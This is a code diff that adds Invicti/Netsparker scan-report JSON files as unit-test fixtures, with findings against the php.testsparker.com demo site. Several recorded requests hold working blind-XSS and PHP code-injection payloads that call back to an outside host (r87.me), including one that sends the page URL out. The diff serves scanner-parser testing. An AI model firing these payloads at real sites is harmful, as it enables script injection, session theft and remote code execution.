", + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "PHPSESSID" + }, + { + "Name": "Cookie Source", + "Value": "HTTP Header" + }, + { + "Name": "Page Type", + "Value": "Login" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET /auth/login.php HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nReferer: http://php.testsparker.com/auth/\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d; path=/\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nContent-Length: 3061\r\nX-Powered-By: PHP/5.2.6\r\nPragma: no-cache\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nKeep-Alive: timeout=5, max=150\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:36 GMT\r\nCache-Control: no-store, must-revalidate, no-cache, post-check=0, pre-check=0\r\n\r\n\n\n\n\n\n\n\nNetsparker Test Web Site - PHP\n\n\n
\n \n\t
\n\t\t\n\t
\n\t\n\t
\n\n\t
\n\t\t
\n\t
\n\t
\n\t\t
\n\t\t\t
\n\t\t\t\t\t\t\t\t

Login Area

\n\t\t\t\t\t

\n Enter your credentials (admin / admin123456)\n
\n

\n Username: \n
\n Password:  \n\n\n
\n\t \n
\n \n
\n

\n\n\t\t\t\t
 
\n\t\t\t\t
\n\n\n\t\t\t\t
\n\t\t\t
\n\t\t
 
\n\t\t
\n\t\t\n\t \n\t
\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t
    \n\t\t\t\t\t\t
    \n\t\t\t\t\n\t\t\t\t\t
    \n\t\t\t\t\t
     
    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Tags

    \n\t\t\t\t\t

    netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion

    \n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Inner Pages

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\t\t\t\t\t

    Links

    \n\t\t\t\t\t\n\t\t\t\t
  • \n\t\t\t\t
  • \n\n\t\t\t
\n\t\t
\t\t\n\t\t
 
\n\t
\n\t
\n\t
\n\t\n
\nv\n
\n\t\t

Copyright (c) 2010 testsparker.com. All rights reserved. Design by Free CSS Templates.

\n\t
\t\n\n\n", + "Duration": 41.4849, + "StatusCode": 200 + }, + "LookupId": "68368f54-b163-41d0-430c-ad49020a4d6b", + "Impact": "", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "SameSite Cookie Not Implemented", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "

The server can set a same-site cookie by adding the SameSite=... attribute to the Set-Cookie header. There are three possible values for the SameSite attribute:

\n\n

 

", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "SameSiteCookieNotImplemented", + "Url": "http://php.testsparker.com/auth/login.php" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "19", + "Cvss": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "8.6" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "8.6" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "8.6" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + }, + "Cvss31": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "8.6" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "8.6" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "8.6" + }, + "Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + }, + "Cwe": "79", + "Hipaa": "164.308(a)", + "Owasp": "A3", + "OwaspProactiveControls": "", + "Pci32": "6.5.7", + "Wasc": "8" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise detected Blind Cross-site Scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application.

\n

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [], + "FirstSeenDate": "16/06/2021 12:38 PM", + "HttpRequest": { + "Content": "GET /artist.php?id=%3ciMg%20src%3d%22%2f%2fr87.me%2fimages%2f1.jpg%22%20onload%3d%22this.onload%3d%27%27%3bthis.src%3d%27%2f%2fpbgjnvv2k8sv_nfk8lpxyks_jxy7mrsm1rv6ic0g%27%2b%275ou.r87.me%2fr%2f%3f%27%2blocation.href%22%3e HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.php?file=Generics/index.nsp\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [ + { + "Name": "id", + "Type": "Querystring", + "Value": "", + "Vulnerable": true + } + ] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 2983\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:51:39 GMT\r\n\r\n", + "Duration": 0.0, + "StatusCode": 0 + }, + "LookupId": "6f963587-2af9-4fac-7b41-ad490211f172", + "Impact": "
There are many different attacks that can be leveraged through the use of cross-site scripting, including:\n\n
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 02:01 AM", + "Name": "Blind Cross-site Scripting", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
\n

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.

\n

Additionally, you should implement a strong Content Security Policy (CSP) as a defense-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

\n

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross-site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one. 

\n
", + "RemedyReferences": "
", + "Severity": "High", + "State": "Revived", + "Type": "BlindXss", + "Url": "http://php.testsparker.com/artist.php?id=%3CiMg%20src%3d%22%2f%2fr87.me%2fimages%2f1.jpg%22%20onload%3d%22this.onload%3d%27%27%3bthis.src%3d%27%2f%2fpbgjnvv2k8sv_nfk8lpxyks_jxy7mrsm1rv6ic0g%27%2b%275ou.r87.me%2fr%2f%3f%27%2blocation.href%22%3E" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "23", + "Cvss": { + "BaseScore": { + "Severity": 4, + "Type": "Base", + "Value": "10.0" + }, + "EnvironmentalScore": { + "Severity": 4, + "Type": "Environmental", + "Value": "10.0" + }, + "TemporalScore": { + "Severity": 4, + "Type": "Temporal", + "Value": "10.0" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + }, + "Cvss31": { + "BaseScore": { + "Severity": 4, + "Type": "Base", + "Value": "10.0" + }, + "EnvironmentalScore": { + "Severity": 4, + "Type": "Environmental", + "Value": "10.0" + }, + "TemporalScore": { + "Severity": 4, + "Type": "Temporal", + "Value": "10.0" + }, + "Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + }, + "Cwe": "94", + "Hipaa": "164.306(a), 164.308(a)", + "Owasp": "A1", + "OwaspProactiveControls": "", + "Pci32": "6.5.1", + "Wasc": "" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise identified a Remote Code Evaluation (PHP) by capturing a DNS A request, which occurs when input data is run as code.

\n

This is a highly critical issue and should be addressed as soon as possible.

", + "ExploitationSkills": "
This vulnerability is not difficult to leverage. PHP is a high level language for which there are vast resources available. Successful exploitation requires knowledge of the programming language, access to the source code or the ability to produce source code for use in such attacks, and minimal attack skills.
", + "ExternalReferences": "
", + "ExtraInformation": [], + "FirstSeenDate": "16/06/2021 12:38 PM", + "HttpRequest": { + "Content": "GET /hello.php?name=%2bgethostbyname(trim(%27pbgjnvv2k8amvntlvrb4nfp0wti6jxm92k1h8ehc%27.%276ii.r87.me%27))%3b%2f%2f HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.php\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [ + { + "Name": "name", + "Type": "Querystring", + "Value": "+gethostbyname(trim('pbgjnvv2k8amvntlvrb4nfp0wti6jxm92k1h8ehc'.'6ii.r87.me'));//", + "Vulnerable": true + } + ] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 2770\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:50:36 GMT\r\n\r\n", + "Duration": 0.0, + "StatusCode": 0 + }, + "LookupId": "c7139765-b9c1-494c-7b46-ad490211f1ab", + "Impact": "
An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 02:01 AM", + "Name": "Out of Band Code Evaluation (PHP)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Do not accept input from end users that will be directly interpreted as source code. If this is a business requirement, validate all the input on the application and remove all the data that could be directly interpreted as PHP source code.
", + "RemedyReferences": "", + "Severity": "Critical", + "State": "Revived", + "Type": "OutOfBandRcePhp", + "Url": "http://php.testsparker.com/hello.php?name=%2bgethostbyname(trim(%27pbgjnvv2k8amvntlvrb4nfp0wti6jxm92k1h8ehc%27.%276ii.r87.me%27))%3b%2f%2f" + }, + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "4.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "4.8" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "4.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:H/RL:O/RC:C/CR:H/IR:H/AR:H" + }, + "Cvss31": null, + "Cwe": "16", + "Hipaa": "", + "Owasp": "", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "15" + }, + "Confirmed": false, + "Description": "

CSP is an added layer of security that helps to mitigate mainly Cross-site Scripting attacks.

\n

CSP can be enabled instructing the browser with a Content-Security-Policy directive in a response header;

\n
 Content-Security-Policy: script-src 'self';
\n

or in a meta tag;

\n
<meta http-equiv=\"Content-Security-Policy\" content=\"script-src 'self';\"> 
\n

In the above example, you can restrict script loading only to the same domain. It will also restrict inline script executions both in the element attributes and the event handlers. There are various directives which you can use by declaring CSP:

\n\n

When setting the CSP directives, you can also use some CSP keywords:

\n\n

In addition to CSP keywords, you can also use wildcard or only a scheme when defining whitelist URLs for the points. Wildcard can be used for subdomain and port portions of the URLs:

\n
Content-Security-Policy: script-src https://*.example.com;
\n
Content-Security-Policy: script-src https://example.com:*;
\n
Content-Security-Policy: script-src https:;
\n

It is also possible to set a CSP in Report-Only mode instead of forcing it immediately in the migration period. Thus you can see the violations of the CSP policy in the current state of your web site while migrating to CSP:

\n
Content-Security-Policy-Report-Only: script-src 'self'; report-uri: https://example.com;
", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "e172ace9-3b52-43f6-3fca-ad490209f280", + "Impact": "

There is no direct impact of not implementing CSP on your website. However, if your website is vulnerable to a Cross-site Scripting attack CSP can prevent successful exploitation of that vulnerability. By not implementing CSP you’ll be missing out this extra layer of security.

", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Content Security Policy (CSP) Not Implemented", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "

Enable CSP on your website by sending the Content-Security-Policy in HTTP response headers that instruct the browser to apply the policies you specified.

", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "CspNotImplemented", + "Url": "http://php.testsparker.com/" + }, + { + "Certainty": 70, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "19", + "Cvss": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "8.6" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "8.6" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "8.6" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + }, + "Cvss31": { + "BaseScore": { + "Severity": 3, + "Type": "Base", + "Value": "8.6" + }, + "EnvironmentalScore": { + "Severity": 3, + "Type": "Environmental", + "Value": "8.6" + }, + "TemporalScore": { + "Severity": 3, + "Type": "Temporal", + "Value": "8.6" + }, + "Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N" + }, + "Cwe": "79", + "Hipaa": "164.308(a)", + "Owasp": "A3", + "OwaspProactiveControls": "", + "Pci32": "6.5.7", + "Wasc": "8" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise detected Possible Blind Cross-site Scripting via capturing a triggered DNS A request, which allows an attacker to execute a dynamic script (JavaScript, VBScript) in the context of the application, but was unable to confirm the vulnerability.

\n

This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/JavaScript/VBScript by the browser. Cross-site scripting targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' sessions, an attacker might attack an administrator to gain full control over the application.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [], + "FirstSeenDate": "16/06/2021 12:38 PM", + "HttpRequest": { + "Content": "GET /products.php?pro=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%20src%3d%22%2f%2fpbgjnvv2k89fhedxarfdk4pywx6zqjmszpdlk5ftvlu%26%2346%3br87%26%2346%3bme%22%3e%3c%2fscRipt%3e HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nCookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d\r\nReferer: http://php.testsparker.com/process.php\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [ + { + "Name": "pro", + "Type": "Querystring", + "Value": "'\"-->", + "Vulnerable": true + } + ] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 2824\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:51:00 GMT\r\n\r\n", + "Duration": 0.0, + "StatusCode": 0 + }, + "LookupId": "d442332c-e250-4c70-7b3c-ad490211f13b", + "Impact": "
There are many different attacks that can be leveraged through the use of cross-site scripting, including:\n\n
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 02:01 AM", + "Name": "[Possible] Blind Cross-site Scripting", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
\n

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, output should be encoded according to the output location and context. For example, if the output goes in to a JavaScript block within the HTML document, then output needs to be encoded accordingly. Encoding can get very complex, therefore it's strongly recommended to use an encoding library such as OWASP ESAPI and Microsoft Anti-cross-site scripting.

\n

Additionally, you should implement a strong Content Security Policy (CSP) as a defense-in-depth measure if an XSS vulnerability is mistakenly introduced. Due to the complexity of XSS-Prevention and the lack of secure standard behavior in programming languages and frameworks, XSS vulnerabilities are still common in web applications.

\n

CSP will act as a safeguard that can prevent an attacker from successfully exploiting Cross-site Scripting vulnerabilities in your website and is advised in any kind of application. Please make sure to scan your application again with Content Security Policy checks enabled after implementing CSP, in order to avoid common mistakes that can impact the effectiveness of your policy. There are a few pitfalls that can render your CSP policy useless and we highly recommend reading the resources linked in the reference section before you start to implement one. 

\n
", + "RemedyReferences": "
", + "Severity": "High", + "State": "Revived", + "Type": "PossibleBlindXss", + "Url": "http://php.testsparker.com/products.php?pro=%27%22--%3E%3C%2fstyle%3E%3C%2fscRipt%3E%3CscRipt%20src%3d%22%2f%2fpbgjnvv2k89fhedxarfdk4pywx6zqjmszpdlk5ftvlu%26%2346%3br87%26%2346%3bme%22%3E%3C%2fscRipt%3E" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "6.5" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.7" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.7" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N/E:U/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "200", + "Hipaa": "", + "Owasp": "A6", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise detected that no Referrer-Policy header implemented.

\n

Referrer-Policy is a security header designed to prevent cross-domain Referer leakage. 

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "4576a39d-e4a5-481f-3fcf-ad490209f34b", + "Impact": "

Referer header is a request header that indicates the site which the traffic originated from. If there is no adequate prevention in place, the  URL itself, and even sensitive information contained in the URL will be leaked to the cross-site.

\n

The lack of Referrer-Policy header might affect privacy of the users and site's itself

", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Referrer-Policy Not Implemented", + "ProofOfConcept": "", + "RemedialActions": "

In a response header:

\n
Referrer-Policy: no-referrer | same-origin | origin | strict-origin | no-origin-when-downgrading 
\n

In a META tag

\n
<meta name=\"Referrer-Policy\" value=\"no-referrer | same-origin\"/>
\n

In an element attribute

\n
<a href=\"http://crosssite.example.com\" rel=\"noreferrer\"></a> 
\n

or

\n
<a href=\"http://crosssite.example.com\" referrerpolicy=\"no-referrer | same-origin | origin | strict-origin | no-origin-when-downgrading\"></a>
", + "RemedialProcedure": "

Please implement a Referrer-Policy by using the Referrer-Policy response header or by declaring it in the meta tags. It’s also possible to control referrer information over an HTML-element by using the rel attribute.

", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "ReferrerPolicyNotImplemented", + "Url": "http://php.testsparker.com/" + } + ] +} \ No newline at end of file diff --git a/unittests/scans/invicti/invicti_one_finding.json b/unittests/scans/invicti/invicti_one_finding.json new file mode 100644 index 0000000000..9b717a0f5e --- /dev/null +++ b/unittests/scans/invicti/invicti_one_finding.json @@ -0,0 +1,85 @@ +{ + "Generated": "25/06/2021 09:59 AM", + "Target": { + "Duration": "00:00:41.3968969", + "Initiated": "25/06/2021 09:53 AM", + "ScanId": "663eb6e88d9e4f4d9e00ad52017aa66d", + "Url": "http://php.testsparker.com/" + }, + "Vulnerabilities": [ + { + "Certainty": 100, + "Classification": { + "Iso27001": "A.14.2.5", + "Capec": "107", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "5.7" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.5" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.5" + }, + "Vector": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "16", + "Hipaa": "", + "Owasp": "A5", + "OwaspProactiveControls": "", + "Pci32": "", + "Wasc": "15" + }, + "Confirmed": true, + "Description": "

Netsparker Enterprise identified a cookie not marked as HTTPOnly.

\n

HTTPOnly cookies cannot be read by client-side scripts, therefore marking a cookie as HTTPOnly can provide an additional layer of protection against cross-site scripting attacks.

", + "ExploitationSkills": "", + "ExternalReferences": "
", + "ExtraInformation": [ + { + "Name": "Identified Cookie(s)", + "Value": "PHPSESSID" + }, + { + "Name": "Cookie Source", + "Value": "HTTP Header" + }, + { + "Name": "Page Type", + "Value": "Login" + } + ], + "FirstSeenDate": "16/06/2021 12:30 PM", + "HttpRequest": { + "Content": "GET /auth/login.php HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nReferer: http://php.testsparker.com/auth/\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=e52a07f0fe53c0294ae211bc4481332d; path=/\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nContent-Length: 3061\r\nX-Powered-By: PHP/5.2.6\r\nPragma: no-cache\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\n\n\n", + "Duration": 41.4849, + "StatusCode": 200 + }, + "LookupId": "735f4503-e9eb-4b4c-4306-ad49020a4c4b", + "Impact": "
During a cross-site scripting attack, an attacker might easily access cookies and hijack the victim's session.
", + "KnownVulnerabilities": [], + "LastSeenDate": "25/06/2021 01:52 AM", + "Name": "Cookie Not Marked as HttpOnly", + "ProofOfConcept": "", + "RemedialActions": "
\n
    \n
  1. See the remedy for solution.
  2. \n
  3. Consider marking all of the cookies used by the application as HTTPOnly. (After these changes javascript code will not be able to read cookies.)
  4. \n
\n
", + "RemedialProcedure": "
Mark the cookie as HTTPOnly. This will be an extra layer of defense against XSS. However this is not a silver bullet and will not protect the system against cross-site scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.
", + "RemedyReferences": "", + "Severity": "Medium", + "State": "Present", + "Type": "CookieNotMarkedAsHttpOnly", + "Url": "http://php.testsparker.com/auth/login.php" + } + ] +} \ No newline at end of file diff --git a/unittests/scans/invicti/invicti_zero_finding.json b/unittests/scans/invicti/invicti_zero_finding.json new file mode 100644 index 0000000000..b33009971e --- /dev/null +++ b/unittests/scans/invicti/invicti_zero_finding.json @@ -0,0 +1,10 @@ +{ + "Generated": "25/06/2021 09:57 AM", + "Target": { + "Duration": "00:01:16.6130466", + "Initiated": "25/06/2021 01:42 AM", + "ScanId": "0a110f61b1f949ff30c8ad5104dfd9f5", + "Url": "http://php.testsparker.com/" + }, + "Vulnerabilities": [] +} \ No newline at end of file diff --git a/unittests/scans/invicti/issue_10311.json b/unittests/scans/invicti/issue_10311.json new file mode 100644 index 0000000000..3157fafb14 --- /dev/null +++ b/unittests/scans/invicti/issue_10311.json @@ -0,0 +1,173 @@ +{ + "Generated": "03/02/2019 15:50:29 (UTC-06:00)", + "Target": { + "ScanId": "fg49hk5", + "Url": "https://www.sampleweb.org/", + "Initiated": "03/02/2019 15:48:23 (UTC-06:00)", + "Duration": "00:01:20.4322725" + }, + "Vulnerabilities": [ + { + "Url": "https://www.sampleweb.org/", + "Type": "CookieNotMarkedAsSecure", + "Name": "Cookie Not Marked as Secure", + "Severity": "High", + "Certainty": 100, + "Confirmed": true, + "Classification": { + "Owasp": "A6", + "Owasp2017": "A3", + "Wasc": "15", + "Cwe": "614", + "Capec": "102", + "Pci31": "6.5.10", + "Pci32": "6.5.10", + "Hipaa": null + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: www.sampleweb.org\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\nX-Scanner: Netsparker\r\n\r\n", + "Parameters": [ ] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 644.6389, + "Content": "HTTP/1.1 200 OK\r\nX-Cache: MISS\r\nX-Timer: S1551563304.277046,VS0,VE20\r\nAge: 0\r\nCache-Control: max-age=600\r\nETag: W/\"5b8fd2e9-6807\"\r\nAccess-Control-Allow-Origin: *\r\nX-Fastly-Request-ID: 0345654a04250c6d1c420d386643c1f6dc7c3c24\r\nX-Served-By: cache-chi21166-CHI\r\nConnection: keep-alive\r\nExpires: Sat, 02 Mar 2019 21:58:24 GMT\r\nAccept-Ranges: bytes\r\nX-Cache-Hits: 0\r\nContent-Length: 5954\r\nX-GitHub-Request-Id: 